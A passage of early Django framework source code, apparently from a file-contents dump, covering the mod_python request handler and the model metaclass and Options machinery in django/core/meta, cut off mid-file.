'varchar(2)',\n}\n\n# Maps type codes to Django Field types.\nDATA_TYPES_REVERSE = {\n    16: 'BooleanField',\n    21: 'SmallIntegerField',\n    23: 'IntegerField',\n    25: 'TextField',\n    869: 'IPAddressField',\n    1043: 'CharField',\n    1082: 'DateField',\n    1083: 'TimeField',\n    1114: 'DateTimeField',\n    1184: 'DateTimeField',\n    1266: 'TimeField',\n    1700: 'FloatField',\n}\n", "django/core/handlers/modpython.py": "from django.core.handlers.base import BaseHandler\nfrom django.utils import datastructures, httpwrappers\nfrom pprint import pformat\nimport os\n\n# NOTE: do *not* import settings (or any module which eventually imports\n# settings) until after ModPythonHandler has been called; otherwise os.environ\n# won't be set up correctly (with respect to settings).\n\nclass ModPythonRequest(httpwrappers.HttpRequest):\n    def __init__(self, req):\n        self._req = req\n        self.path = req.uri\n\n    def __repr__(self):\n        return '<ModPythonRequest\\npath:%s,\\nGET:%s,\\nPOST:%s,\\nCOOKIES:%s,\\nMETA:%s,\\nuser:%s>' % \\\n            (self.path, pformat(self.GET), pformat(self.POST), pformat(self.COOKIES),\n            pformat(self.META), pformat(self.user))\n\n    def get_full_path(self):\n        return '%s%s' % (self.path, self._req.args and ('?' + self._req.args) or '')\n\n    def _load_post_and_files(self):\n        \"Populates self._post and self._files\"\n        if self._req.headers_in.has_key('content-type') and self._req.headers_in['content-type'].startswith('multipart'):\n            self._post, self._files = httpwrappers.parse_file_upload(self._req.headers_in, self.raw_post_data)\n        else:\n            self._post, self._files = httpwrappers.QueryDict(self.raw_post_data), datastructures.MultiValueDict()\n\n    def _get_request(self):\n        if not hasattr(self, '_request'):\n           self._request = datastructures.MergeDict(self.POST, self.GET)\n        return self._request\n\n    def _get_get(self):\n        if not hasattr(self, '_get'):\n            self._get = httpwrappers.QueryDict(self._req.args)\n        return self._get\n\n    def _set_get(self, get):\n        self._get = get\n\n    def _get_post(self):\n        if not hasattr(self, '_post'):\n            self._load_post_and_files()\n        return self._post\n\n    def _set_post(self, post):\n        self._post = post\n\n    def _get_cookies(self):\n        if not hasattr(self, '_cookies'):\n            self._cookies = httpwrappers.parse_cookie(self._req.headers_in.get('cookie', ''))\n        return self._cookies\n\n    def _set_cookies(self, cookies):\n        self._cookies = cookies\n\n    def _get_files(self):\n        if not hasattr(self, '_files'):\n            self._load_post_and_files()\n        return self._files\n\n    def _get_meta(self):\n        \"Lazy loader that returns self.META dictionary\"\n        if not hasattr(self, '_meta'):\n            self._meta = {\n                'AUTH_TYPE':         self._req.ap_auth_type,\n                'CONTENT_LENGTH':    self._req.clength, # This may be wrong\n                'CONTENT_TYPE':      self._req.content_type, # This may be wrong\n                'GATEWAY_INTERFACE': 'CGI/1.1',\n                'PATH_INFO':         self._req.path_info,\n                'PATH_TRANSLATED':   None, # Not supported\n                'QUERY_STRING':      self._req.args,\n                'REMOTE_ADDR':       self._req.connection.remote_ip,\n                'REMOTE_HOST':       None, # DNS lookups not supported\n                'REMOTE_IDENT':      self._req.connection.remote_logname,\n                'REMOTE_USER':       self._req.user,\n                'REQUEST_METHOD':    self._req.method,\n                'SCRIPT_NAME':       None, # Not supported\n                'SERVER_NAME':       self._req.server.server_hostname,\n                'SERVER_PORT':       self._req.server.port,\n                'SERVER_PROTOCOL':   self._req.protocol,\n                'SERVER_SOFTWARE':   'mod_python'\n            }\n            for key, value in self._req.headers_in.items():\n                key = 'HTTP_' + key.upper().replace('-', '_')\n                self._meta[key] = value\n        return self._meta\n\n    def _get_raw_post_data(self):\n        try:\n            return self._raw_post_data\n        except AttributeError:\n            self._raw_post_data = self._req.read()\n            return self._raw_post_data\n\n    def _get_user(self):\n        if not hasattr(self, '_user'):\n            from django.models.auth import users\n            try:\n                user_id = self.session[users.SESSION_KEY]\n                if not user_id:\n                    raise ValueError\n                self._user = users.get_object(pk=user_id)\n            except (AttributeError, KeyError, ValueError, users.UserDoesNotExist):\n                from django.parts.auth import anonymoususers\n                self._user = anonymoususers.AnonymousUser()\n        return self._user\n\n    def _set_user(self, user):\n        self._user = user\n\n    GET = property(_get_get, _set_get)\n    POST = property(_get_post, _set_post)\n    COOKIES = property(_get_cookies, _set_cookies)\n    FILES = property(_get_files)\n    META = property(_get_meta)\n    REQUEST = property(_get_request)\n    raw_post_data = property(_get_raw_post_data)\n    user = property(_get_user, _set_user)\n\nclass ModPythonHandler(BaseHandler):\n    def __call__(self, req):\n        # mod_python fakes the environ, and thus doesn't process SetEnv.  This fixes that\n        os.environ.update(req.subprocess_env)\n\n        # now that the environ works we can see the correct settings, so imports\n        # that use settings now can work\n        from django.conf import settings\n        from django.core import db\n\n        # if we need to set up middleware, now that settings works we can do it now.\n        if self._request_middleware is None:\n            self.load_middleware()\n\n        try:\n            request = ModPythonRequest(req)\n            response = self.get_response(req.uri, request)\n            # Apply response middleware\n            for middleware_method in self._response_middleware:\n                response = middleware_method(request, response)\n        finally:\n            db.db.close()\n\n        # Convert our custom HttpResponse object back into the mod_python req.\n        populate_apache_request(response, req)\n        return 0 # mod_python.apache.OK\n\ndef populate_apache_request(http_response, mod_python_req):\n    \"Populates the mod_python request object with an HttpResponse\"\n    from django.conf import settings\n    mod_python_req.content_type = http_response['Content-Type']\n    for key, value in http_response.headers.items():\n        if key != 'Content-Type':\n            mod_python_req.headers_out[key] = value\n    for c in http_response.cookies.values():\n        mod_python_req.headers_out.add('Set-Cookie', c.output(header=''))\n    mod_python_req.status = http_response.status_code\n    mod_python_req.write(http_response.get_content_as_string(settings.DEFAULT_CHARSET))\n\ndef handler(req):\n    # mod_python hooks into this function.\n    return ModPythonHandler()(req)\n", "django/core/meta/__init__.py": "from django.conf import settings\nfrom django.core import formfields, validators\nfrom django.core import db\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.meta.fields import *\nfrom django.utils.functional import curry\nfrom django.utils.text import capfirst\nimport copy, datetime, os, re, sys, types\n\n# Admin stages.\nADD, CHANGE, BOTH = 1, 2, 3\n\n# Size of each \"chunk\" for get_iterator calls.\n# Larger values are slightly faster at the expense of more storage space.\nGET_ITERATOR_CHUNK_SIZE = 100\n\n# Prefix (in Python path style) to location of models.\nMODEL_PREFIX = 'django.models'\n\n# Methods on models with the following prefix will be removed and\n# converted to module-level functions.\nMODEL_FUNCTIONS_PREFIX = '_module_'\n\n# Methods on models with the following prefix will be removed and\n# converted to manipulator methods.\nMANIPULATOR_FUNCTIONS_PREFIX = '_manipulator_'\n\nLOOKUP_SEPARATOR = '__'\n\n####################\n# HELPER FUNCTIONS #\n####################\n\n# Django currently supports two forms of ordering.\n# Form 1 (deprecated) example:\n#     order_by=(('pub_date', 'DESC'), ('headline', 'ASC'), (None, 'RANDOM'))\n# Form 2 (new-style) example:\n#     order_by=('-pub_date', 'headline', '?')\n# Form 1 is deprecated and will no longer be supported for Django's first\n# official release. The following code converts from Form 1 to Form 2.\n\nLEGACY_ORDERING_MAPPING = {'ASC': '_', 'DESC': '-_', 'RANDOM': '?'}\n\ndef handle_legacy_orderlist(order_list):\n    if not order_list or isinstance(order_list[0], basestring):\n        return order_list\n    else:\n        import warnings\n        new_order_list = [LEGACY_ORDERING_MAPPING[j.upper()].replace('_', str(i)) for i, j in order_list]\n        warnings.warn(\"%r ordering syntax is deprecated. Use %r instead.\" % (order_list, new_order_list), DeprecationWarning)\n        return new_order_list\n\ndef orderfield2column(f, opts):\n    try:\n        return opts.get_field(f, False).column\n    except FieldDoesNotExist:\n        return f\n\ndef orderlist2sql(order_list, opts, prefix=''):\n    if prefix.endswith('.'):\n        prefix = db.db.quote_name(prefix[:-1]) + '.'\n    output = []\n    for f in handle_legacy_orderlist(order_list):\n        if f.startswith('-'):\n            output.append('%s%s DESC' % (prefix, db.db.quote_name(orderfield2column(f[1:], opts))))\n        elif f == '?':\n            output.append(db.get_random_function_sql())\n        else:\n            output.append('%s%s ASC' % (prefix, db.db.quote_name(orderfield2column(f, opts))))\n    return ', '.join(output)\n\ndef get_module(app_label, module_name):\n    return __import__('%s.%s.%s' % (MODEL_PREFIX, app_label, module_name), '', '', [''])\n\ndef get_app(app_label):\n    return __import__('%s.%s' % (MODEL_PREFIX, app_label), '', '', [''])\n\n_installed_models_cache = None\ndef get_installed_models():\n    \"\"\"\n    Returns a list of installed \"models\" packages, such as foo.models,\n    ellington.news.models, etc. This does NOT include django.models.\n    \"\"\"\n    global _installed_models_cache\n    if _installed_models_cache is not None:\n        return _installed_models_cache\n    _installed_models_cache = []\n    for a in settings.INSTALLED_APPS:\n        try:\n            _installed_models_cache.append(__import__(a + '.models', '', '', ['']))\n        except ImportError:\n            pass\n    return _installed_models_cache\n\n_installed_modules_cache = None\ndef get_installed_model_modules(core_models=None):\n    \"\"\"\n    Returns a list of installed models, such as django.models.core,\n    ellington.news.models.news, foo.models.bar, etc.\n    \"\"\"\n    global _installed_modules_cache\n    if _installed_modules_cache is not None:\n        return _installed_modules_cache\n    _installed_modules_cache = []\n\n    # django.models is a special case.\n    for submodule in (core_models or []):\n        _installed_modules_cache.append(__import__('django.models.%s' % submodule, '', '', ['']))\n    for m in get_installed_models():\n        for submodule in getattr(m, '__all__', []):\n            mod = __import__('django.models.%s' % submodule, '', '', [''])\n            try:\n                mod._MODELS\n            except AttributeError:\n                pass # Skip model modules that don't actually have models in them.\n            else:\n                _installed_modules_cache.append(mod)\n    return _installed_modules_cache\n\nclass LazyDate:\n    \"\"\"\n    Use in limit_choices_to to compare the field to dates calculated at run time\n    instead of when the model is loaded.  For example::\n\n        ... limit_choices_to = {'date__gt' : meta.LazyDate(days=-3)} ...\n\n    which will limit the choices to dates greater than three days ago.\n    \"\"\"\n    def __init__(self, **kwargs):\n        self.delta = datetime.timedelta(**kwargs)\n\n    def __str__(self):\n        return str(self.__get_value__())\n\n    def __repr__(self):\n        return \"<LazyDate: %s>\" % self.delta\n\n    def __get_value__(self):\n        return datetime.datetime.now() + self.delta\n\n################\n# MAIN CLASSES #\n################\n\nclass FieldDoesNotExist(Exception):\n    pass\n\nclass BadKeywordArguments(Exception):\n    pass\n\nclass Options:\n    def __init__(self, module_name='', verbose_name='', verbose_name_plural='', db_table='',\n        fields=None, ordering=None, unique_together=None, admin=None, has_related_links=False,\n        where_constraints=None, object_name=None, app_label=None,\n        exceptions=None, permissions=None, get_latest_by=None,\n        order_with_respect_to=None, module_constants=None):\n\n        # Save the original function args, for use by copy(). Note that we're\n        # NOT using copy.deepcopy(), because that would create a new copy of\n        # everything in memory, and it's better to conserve memory. Of course,\n        # this comes with the important gotcha that changing any attribute of\n        # this object will change its value in self._orig_init_args, so we\n        # need to be careful not to do that. In practice, we can pull this off\n        # because Options are generally read-only objects, and __init__() is\n        # the only place where its attributes are manipulated.\n\n        # locals() is used purely for convenience, so we don't have to do\n        # something verbose like this:\n        #    self._orig_init_args = {\n        #       'module_name': module_name,\n        #       'verbose_name': verbose_name,\n        #       ...\n        #    }\n        self._orig_init_args = locals()\n        del self._orig_init_args['self'] # because we don't care about it.\n\n        # Move many-to-many related fields from self.fields into self.many_to_many.\n        self.fields, self.many_to_many = [], []\n        for field in (fields or []):\n            if field.rel and isinstance(field.rel, ManyToMany):\n                self.many_to_many.append(field)\n            else:\n                self.fields.append(field)\n        self.module_name, self.verbose_name = module_name, verbose_name\n        self.verbose_name_plural = verbose_name_plural or verbose_name + 's'\n        self.db_table, self.has_related_links = db_table, has_related_links\n        self.ordering = ordering or []\n        self.unique_together = unique_together or []\n        self.where_constraints = where_constraints or []\n        self.exceptions = exceptions or []\n        self.permissions = permissions or []\n        self.object_name, self.app_label = object_name, app_label\n        self.get_latest_by = get_latest_by\n        if order_with_respect_to:\n            self.order_with_respect_to = self.get_field(order_with_respect_to)\n            self.ordering = ('_order',)\n        else:\n            self.order_with_respect_to = None\n        self.module_constants = module_constants or {}\n        self.admin = admin\n\n        # Calculate one_to_one_field.\n        self.one_to_one_field = None\n        for f in self.fields:\n            if isinstance(f.rel, OneToOne):\n                self.one_to_one_field = f\n                break\n        # Cache the primary-key field.\n        self.pk = None\n        for f in self.fields:\n            if f.primary_key:\n                self.pk = f\n                break\n        # If a primary_key field hasn't been specified, add an\n        # auto-incrementing primary-key ID field automatically.\n        if self.pk is None:\n            self.fields.insert(0, AutoField(name='id', verbose_name='ID', primary_key=True))\n            self.pk = self.fields[0]\n        # Cache whether this has an AutoField.\n        self.has_auto_field = False\n        for f in self.fields:\n            is_auto = isinstance(f, AutoField)\n            if is_auto and self.has_auto_field:\n                raise AssertionError, \"A model can't have more than one AutoField.\"\n            elif is_auto:\n                self.has_auto_field = True\n\n    def __repr__(self):\n        return '<Options for %s>' % self.module_name\n\n    def copy(self, **kwargs):\n        args = self._orig_init_args.copy()\n        args.update(kwargs)\n        return self.__class__(**args)\n\n    def get_model_module(self):\n        return get_module(self.app_label, self.module_name)\n\n    def get_content_type_id(self):\n        \"Returns the content-type ID for this object type.\"\n        if not hasattr(self, '_content_type_id'):\n            mod = get_module('core', 'contenttypes')\n            self._content_type_id = mod.get_object(python_module_name__exact=self.module_name, package__label__exact=self.app_label).id\n        return self._content_type_id\n\n    def get_field(self, name, many_to_many=True):\n        \"\"\"\n        Returns the requested field by name. Raises FieldDoesNotExist on error.\n        \"\"\"\n        to_search = many_to_many and (self.fields + self.many_to_many) or self.fields\n        for f in to_search:\n            if f.name == name:\n                return f\n        raise FieldDoesNotExist, \"name=%s\" % name\n\n    def get_order_sql(self, table_prefix=''):\n        \"Returns the full 'ORDER BY' clause for this object, according to self.ordering.\"\n        if not self.ordering: return ''\n        pre = table_prefix and (table_prefix + '.') or ''\n        return 'ORDER BY ' + orderlist2sql(self.ordering, self, pre)\n\n    def get_add_permission(self):\n        return 'add_%s' % self.object_name.lower()\n\n    def get_change_permission(self):\n        return 'change_%s' % self.object_name.lower()\n\n    def get_delete_permission(self):\n        return 'delete_%s' % self.object_name.lower()\n\n    def get_rel_object_method_name(self, rel_opts, rel_field):\n        # This method encapsulates the logic that decides what name to give a\n        # method that retrieves related many-to-one objects. Usually it just\n        # uses the lower-cased object_name, but if the related object is in\n        # another app, its app_label is appended.\n        #\n        # Examples:\n        #\n        #   # Normal case -- a related object in the same app.\n        #   # This method returns \"choice\".\n        #   Poll.get_choice_list()\n        #\n        #   # A related object in a different app.\n        #   # This method returns \"lcom_bestofaward\".\n        #   Place.get_lcom_bestofaward_list() # \"lcom_bestofaward\"\n        rel_obj_name = rel_field.rel.related_name or rel_opts.object_name.lower()\n        if self.app_label != rel_opts.app_label:\n            rel_obj_name = '%s_%s' % (rel_opts.app_label, rel_obj_name)\n        return rel_obj_name\n\n    def get_all_related_objects(self):\n        try: # Try the cache first.\n            return self._all_related_objects\n        except AttributeError:\n            module_list = get_installed_model_modules()\n            rel_objs = []\n            for mod in module_list:\n                for klass in mod._MODELS:\n                    for f in klass._meta.fields:\n                        if f.rel and self == f.rel.to:\n                            rel_objs.append((klass._meta, f))\n            if self.has_related_links:\n                # Manually add RelatedLink objects, which are a special case.\n                relatedlinks = get_module('relatedlinks', 'relatedlinks')\n                # Note that the copy() is very important -- otherwise any\n                # subsequently loaded object with related links will override this\n                # relationship we're adding.\n                link_field = copy.copy(relatedlinks.RelatedLink._meta.get_field('object_id'))\n                link_field.rel = ManyToOne(self.get_model_module().Klass, 'id',\n                    num_in_admin=3, min_num_in_admin=3, edit_inline=TABULAR,\n                    lookup_overrides={\n                        'content_type__package__label__exact': self.app_label,\n                        'content_type__python_module_name__exact': self.module_name,\n                    })\n                rel_objs.append((relatedlinks.RelatedLink._meta, link_field))\n            self._all_related_objects = rel_objs\n            return rel_objs\n\n    def get_inline_related_objects(self):\n        return [(a, b) for a, b in self.get_all_related_objects() if b.rel.edit_inline]\n\n    def get_all_related_many_to_many_objects(self):\n        module_list = get_installed_model_modules()\n        rel_objs = []\n        for mod in module_list:\n            for klass in mod._MODELS:\n                try:\n                    for f in klass._meta.many_to_many:\n                        if f.rel and self == f.rel.to:\n                            rel_objs.append((klass._meta, f))\n                            raise StopIteration\n                except StopIteration:\n                    continue\n        return rel_objs\n\n    def get_ordered_objects(self):\n        \"Returns a list of Options objects that are ordered with respect to this object.\"\n        if not hasattr(self, '_ordered_objects'):\n            objects = []\n            for klass in get_app(self.app_label)._MODELS:\n                opts = klass._meta\n                if opts.order_with_respect_to and opts.order_with_respect_to.rel \\\n                    and self == opts.order_with_respect_to.rel.to:\n                    objects.append(opts)\n            self._ordered_objects = objects\n        return self._ordered_objects\n\n    def has_field_type(self, field_type):\n        \"\"\"\n        Returns True if this object's admin form has at least one of the given\n        field_type (e.g. FileField).\n        \"\"\"\n        if not hasattr(self, '_field_types'):\n            self._field_types = {}\n        if not self._field_types.has_key(field_type):\n            try:\n                # First check self.fields.\n                for f in self.fields:\n                    if isinstance(f, field_type):\n                        raise StopIteration\n                # Failing that, check related fields.\n                for rel_obj, rel_field in self.get_inline_related_objects():\n                    for f in rel_obj.fields:\n                        if isinstance(f, field_type):\n                            raise StopIteration\n            except StopIteration:\n                self._field_types[field_type] = True\n            else:\n                self._field_types[field_type] = False\n        return self._field_types[field_type]\n\ndef _reassign_globals(function_dict, extra_globals, namespace):\n    new_functions = {}\n    for k, v in function_dict.items():\n        # Get the code object.\n        code = v.func_code\n        # Recreate the function, but give it access to extra_globals and the\n        # given namespace's globals, too.\n        new_globals = {'__builtins__': __builtins__, 'db': db.db, 'datetime': datetime}\n        new_globals.update(extra_globals.__dict__)\n        func = types.FunctionType(code, globals=new_globals, name=k, argdefs=v.func_defaults)\n        func.__dict__.update(v.__dict__)\n        setattr(namespace, k, func)\n        # For all of the custom functions that have been added so far, give\n        # them access to the new function we've just created.\n        for new_k, new_v in new_functions.items():\n            new_v.func_globals[k] = func\n        new_functions[k] = func\n\n# Calculate the module_name using a poor-man's pluralization.\nget_module_name = lambda class_name: class_name.lower() + 's'\n\n# Calculate the verbose_name by converting from InitialCaps to \"lowercase with spaces\".\nget_verbose_name = lambda class_name: re.sub('([A-Z])', ' \\\\1', class_name).lower().strip()\n\nclass ModelBase(type):\n    \"Metaclass for all models\"\n    def __new__(cls, name, bases, attrs):\n        # If this isn't a subclass of Model, don't do anything special.\n        if not bases:\n            return type.__new__(cls, name, bases, attrs)\n\n        try:\n            meta_attrs = attrs.pop('META').__dict__\n            del meta_attrs['__module__']\n            del meta_attrs['__doc__']\n        except KeyError:\n            meta_attrs = {}\n\n        # Gather all attributes that are Field instances.\n        fields = []\n        for obj_name, obj in attrs.items():\n            if isinstance(obj, Field):\n                obj.set_name(obj_name)\n                fields.append(obj)\n                del attrs[obj_name]\n\n        # Sort the fields in the order that they were created. The\n        # \"creation_counter\" is needed because metaclasses don't preserve the\n        # attribute order.\n        fields.sort(lambda x, y: x.creation_counter - y.creation_counter)\n\n        # If this model is a subclass of another model, create an Options\n        # object by first copying the base class's _meta and then updating it\n        # with the overrides from this class.\n        replaces_module = None\n        if bases[0] != Model:\n            field_names = [f.name for f in fields]\n            remove_fields = meta_attrs.pop('remove_fields', [])\n            for f in bases[0]._meta._orig_init_args['fields']:\n                if f.name not in field_names and f.name not in remove_fields:\n                    fields.insert(0, f)\n            if meta_attrs.has_key('replaces_module'):\n                # Set the replaces_module variable for now. We can't actually\n                # do anything with it yet, because the module hasn't yet been\n                # created.\n                replaces_module = meta_attrs.pop('replaces_module').split('.')\n            # Pass any Options overrides to the base's Options instance, and\n            # simultaneously remove them from attrs. When this is done, attrs\n            # will be a dictionary of custom methods, plus __module__.\n            meta_overrides = {'fields': fields, 'module_name': get_module_name(name), 'verbose_name': get_verbose_name(name)}\n            for k, v in meta_attrs.items():\n                if not callable(v) and k != '__module__':\n                    meta_overrides[k] = meta_attrs.pop(k)\n            opts = bases[0]._meta.copy(**meta_overrides)\n            opts.object_name = name\n            del meta_overrides\n        else:\n            opts = Options(\n                module_name = meta_attrs.pop('module_name', get_module_name(name)),\n                # If the verbose_name wasn't given, use the class name,\n                # converted from InitialCaps to \"lowercase with spaces\".\n                verbose_name = meta_attrs.pop('verbose_name', get_verbose_name(name)),\n                verbose_name_plural = meta_attrs.pop('verbose_name_plural', ''),\n                db_table = meta_attrs.pop('db_table', ''),\n                fields = fields,\n                ordering = meta_attrs.pop('ordering', None),\n                unique_together = meta_attrs.pop('unique_together', None),\n                admin = meta_attrs.pop('admin', None),\n                has_related_links = meta_attrs.pop('has_related_links', False),\n                where_constraints = meta_attrs.pop('where_constraints', None),\n                object_name = name,\n                app_label = meta_attrs.pop('app_label', None),\n                exceptions = meta_attrs.pop('exceptions', None),\n                permissions = meta_attrs.pop('permissions', None),\n                get_latest_by = meta_attrs.pop('get_latest_by', None),\n                order_with_respect_to = meta_attrs.pop('order_with_respect_to', None),\n                module_constants = meta_attrs.pop('module_constants', None),\n            )\n\n        if meta_attrs != {}:\n            raise TypeError, \"'class META' got invalid attribute(s): %s\" % ','.join(meta_attrs.keys())\n\n        # Dynamically create the module that will contain this class and its\n        # associated helper functions.\n        if replaces_module is not None:\n            new_mod = get_module(*replaces_module)\n        else:\n            new_mod = types.ModuleType(opts.module_name)\n\n        # Collect any/all custom class methods and module functions, and move\n        # them to a temporary holding variable. We'll deal with them later.\n        if replaces_module is not None:\n            # Initialize these values to the base class' custom_methods and\n            # custom_functions.\n            custom_methods = dict([(k, v) for k, v in new_mod.Klass.__dict__.items() if hasattr(v, 'custom')])\n            custom_functions = dict([(k, v) for k, v in new_mod.__dict__.items() if hasattr(v, 'custom')])\n        else:\n            custom_methods, custom_functions = {}, {}\n        manipulator_methods = {}\n        for k, v in attrs.items():\n            if k in ('__module__', '__init__', '_overrides', '__doc__'):\n                continue # Skip the important stuff.\n            assert callable(v), \"%r is an invalid model parameter.\" % k\n            # Give the function a function attribute \"custom\" to designate that\n            # it's a custom function/method.\n            v.custom = True\n            if k.startswith(MODEL_FUNCTIONS_PREFIX):\n                custom_functions[k[len(MODEL_FUNCTIONS_PREFIX):]] = v\n            elif k.startswith(MANIPULATOR_FUNCTIONS_PREFIX):\n                manipulator_methods[k[len(MANIPULATOR_FUNCTIONS_PREFIX):]] = v\n            else:\n                custom_methods[k] = v\n            del attrs[k]\n\n        # Create the module-level ObjectDoesNotExist exception.\n        dne_exc_name = '%sDoesNotExist' % name\n        does_not_exist_exception = types.ClassType(dne_exc_name, (ObjectDoesNotExist,), {})\n        # Explicitly set its __module__ because it will initially (incorrectly)\n        # be set to the module the code is being executed in.\n        does_not_exist_exception.__module__ = MODEL_PREFIX + '.' + opts.module_name\n        setattr(new_mod, dne_exc_name, does_not_exist_exception)\n\n        # Create other exceptions.\n        for exception_name in opts.exceptions:\n            exc = types.ClassType(exception_name, (Exception,), {})\n            exc.__module__ = MODEL_PREFIX + '.' + opts.module_name # Set this explicitly, as above.\n            setattr(new_mod, exception_name, exc)\n\n        # Create any module-level constants, if applicable.\n        for k, v in opts.module_constants.items():\n            setattr(new_mod, k, v)\n\n        # Create the default class methods.\n        attrs['__init__'] = curry(method_init, opts)\n        attrs['__eq__'] = curry(method_eq, opts)\n        attrs['save'] = curry(method_save, opts)\n        attrs['save'].alters_data = True\n        attrs['delete'] = curry(method_delete, opts)\n        attrs['delete'].alters_data = True\n\n        if opts.order_with_respect_to:\n            attrs['get_next_in_order'] = curry(method_get_next_in_order, opts, opts.order_with_respect_to)\n            attrs['get_previous_in_order'] = curry(method_get_previous_in_order, opts, opts.order_with_respect_to)\n\n        for f in opts.fields:\n            # If the object has a relationship to itself, as designated by\n            # RECURSIVE_RELATIONSHIP_CONSTANT, create that relationship formally.\n            if f.rel and f.rel.to == RECURSIVE_RELATIONSHIP_CONSTANT:\n                f.rel.to = opts\n                f.name = f.name or (f.rel.to.object_name.lower() + '_' + f.rel.to.pk.name)\n                f.verbose_name = f.verbose_name or f.rel.to.verbose_name\n                f.rel.field_name = f.rel.field_name or f.rel.to.pk.name\n            # Add \"get_thingie\" methods for many-to-one related objects.\n            # EXAMPLES: Choice.get_poll(), Story.get_dateline()\n            if isinstance(f.rel, ManyToOne):\n                func = curry(method_get_many_to_one, f)\n                func.__doc__ = \"Returns the associated `%s.%s` object.\" % (f.rel.to.app_label, f.rel.to.module_name)\n                attrs['get_%s' % f.name] = func\n\n        for f in opts.many_to_many:\n            # Add \"get_thingie\" methods for many-to-many related objects.\n            # EXAMPLES: Poll.get_site_list(), Story.get_byline_list()\n            func = curry(method_get_many_to_many, f)\n            func.__doc__ = \"Returns a list of associated `%s.%s` objects.\" % (f.rel.to.app_label, f.rel.to.module_name)\n            attrs['get_%s_list' % f.rel.singular] = func\n            # Add \"set_thingie\" methods for many-to-many related objects.\n            # EXAMPLES: Poll.set_sites(), Story.set_bylines()\n            func = curry(method_set_many_to_many, f)\n            func.__doc__ = \"Resets this object's `%s.%s` list to the given list of IDs. Note that it doesn't check whether the given IDs are valid.\" % (f.rel.to.app_label, f.rel.to.module_name)\n            func.alters_data = True\n            attrs['set_%s' % f.name] = func\n\n        # Create the class, because we need it to use in currying.\n        new_class = type.__new__(cls, name, bases, attrs)\n\n        # Give the class a docstring -- its definition.\n        if new_class.__doc__ is None:\n            new_class.__doc__ = \"%s.%s(%s)\" % (opts.module_name, name, \", \".join([f.name for f in opts.fields]))\n\n        # Create the standard, module-level API helper functions such\n        # as get_object() and get_list().\n        new_mod.get_object = curry(function_get_object, opts, new_class, does_not_exist_exception)\n        new_mod.get_object.__doc__ = \"Returns the %s object matching the given parameters.\" % name\n\n        new_mod.get_list = curry(function_get_list, opts, new_class)\n        new_mod.get_list.__doc__ = \"Returns a list of %s objects matching the given parameters.\" % name\n\n        new_mod.get_iterator = curry(function_get_iterator, opts, new_class)\n        new_mod.get_iterator.__doc__ = \"Returns an iterator of %s objects matching the given parameters.\" % name\n\n        new_mod.get_values = curry(function_get_values, opts, new_class)\n        new_mod.get_values.__doc__ = \"Returns a list of dictionaries matching the given parameters.\"\n\n        new_mod.get_values_iterator = curry(function_get_values_iterator, opts, new_class)\n        new_mod.get_values_iterator.__doc__ = \"Returns an iterator of dictionaries matching the given parameters.\"\n\n        new_mod.get_count = curry(function_get_count, opts)\n        new_mod.get_count.__doc__ = \"Returns the number of %s objects matching the given parameters.\" % name\n\n        new_mod._get_sql_clause = curry(function_get_sql_clause, opts)\n\n        new_mod.get_in_bulk = curry(function_get_in_bulk, opts, new_class)\n        new_mod.get_in_bulk.__doc__ = \"Returns a dictionary of ID -> %s for the %s objects with IDs in the given id_list.\" % (name, name)\n\n        if opts.get_latest_by:\n            new_mod.get_latest = curry(function_get_latest, opts, new_class, does_not_exist_exception)\n\n        for f in opts.fields:\n            if f.choices:\n                # Add \"get_thingie_display\" method to get human-readable value.\n                func = curry(method_get_display_value, f)\n                setattr(new_class, 'get_%s_display' % f.name, func)\n            if isinstance(f, DateField) or isinstance(f, DateTimeField):\n                # Add \"get_next_by_thingie\" and \"get_previous_by_thingie\" methods\n                # for all DateFields and DateTimeFields that cannot be null.\n                # EXAMPLES: Poll.get_next_by_pub_date(), Poll.get_previous_by_pub_date()\n                if not f.null:\n                    setattr(new_class, 'get_next_by_%s' % f.name, curry(method_get_next_or_previous, new_mod.get_object, opts, f, True))\n                    setattr(new_class, 'get_previous_by_%s' % f.name, curry(method_get_next_or_previous, new_mod.get_object, opts, f, False))\n                # Add \"get_thingie_list\" for all DateFields and DateTimeFields.\n                # EXAMPLE: polls.get_pub_date_list()\n                func = curry(function_get_date_list, opts, f)\n                func.__doc__ = \"Returns a list of days, months or years (as datetime.datetime objects) in which %s objects are available. The first parameter ('kind') must be one of 'year', 'month' or 'day'.\" % name\n                setattr(new_mod, 'get_%s_list' % f.name, func)\n\n            elif isinstance(f, FileField):\n                setattr(new_class, 'get_%s_filename' % f.name, curry(method_get_file_filename, f))\n                setattr(new_class, 'get_%s_url' % f.name, curry(method_get_file_url, f))\n                setattr(new_class, 'get_%s_size' % f.name, curry(method_get_file_size, f))\n                func = curry(method_save_file, f)\n                func.alters_data = True\n                setattr(new_class, 'save_%s_file' % f.name, func)\n                if isinstance(f, ImageField):\n                    # Add get_BLAH_width and get_BLAH_height methods, but only\n                    # if the image field doesn't have width and height cache\n                    # fields.\n                    if not f.width_field:\n                        setattr(new_class, 'get_%s_width' % f.name, curry(method_get_image_width, f))\n                    if not f.height_field:\n                        setattr(new_class, 'get_%s_height' % f.name, curry(method_get_image_height, f))\n\n        # Add the class itself to the new module we've created.\n        new_mod.__dict__[name] = new_class\n\n        # Add \"Klass\" -- a shortcut reference to the class.\n        new_mod.__dict__['Klass'] = new_class\n\n        # Add the Manipulators.\n        new_mod.__dict__['AddManipulator'] = get_manipulator(opts, new_class, manipulator_methods, add=True)\n        new_mod.__dict__['ChangeManipulator'] = get_manipulator(opts, new_class, manipulator_methods, change=True)\n\n        # Now that we have references to new_mod and new_class, we can add\n        # any/all extra class methods to the new class. Note that we could\n        # have just left the extra methods in attrs (above), but that would\n        # have meant that any code within the extra methods would *not* have\n        # access to module-level globals, such as get_list(), db, etc.\n        # In order to give these methods access to those globals, we have to\n        # deconstruct the method getting its raw \"code\" object, then recreating\n        # the function with a new \"globals\" dictionary.\n        #\n        # To complicate matters more, because each method is manually assigned\n        # a \"globals\" value, that \"globals\" value does NOT include the methods\n        # that haven't been created yet. For instance, if there are two custom\n        # methods, foo() and bar(), and foo() is created first, it won't have\n        # bar() within its globals(). This is a problem because sometimes\n        # custom methods/functions refer to other custom methods/functions. To\n        # solve this problem, we keep track of the new functions created (in\n        # the new_functions variable) and manually append each new function to\n        # the func_globals() of all previously-created functions. So, by the\n        # end of the loop, all functions will \"know\" about all the other\n        # functions.\n        _reassign_globals(custom_methods, new_mod, new_class)\n        _reassign_globals(custom_functions, new_mod, new_mod)\n        _reassign_globals(manipulator_methods, new_mod, new_mod.__dict__['AddManipulator'])\n        _reassign_globals(manipulator_methods, new_mod, 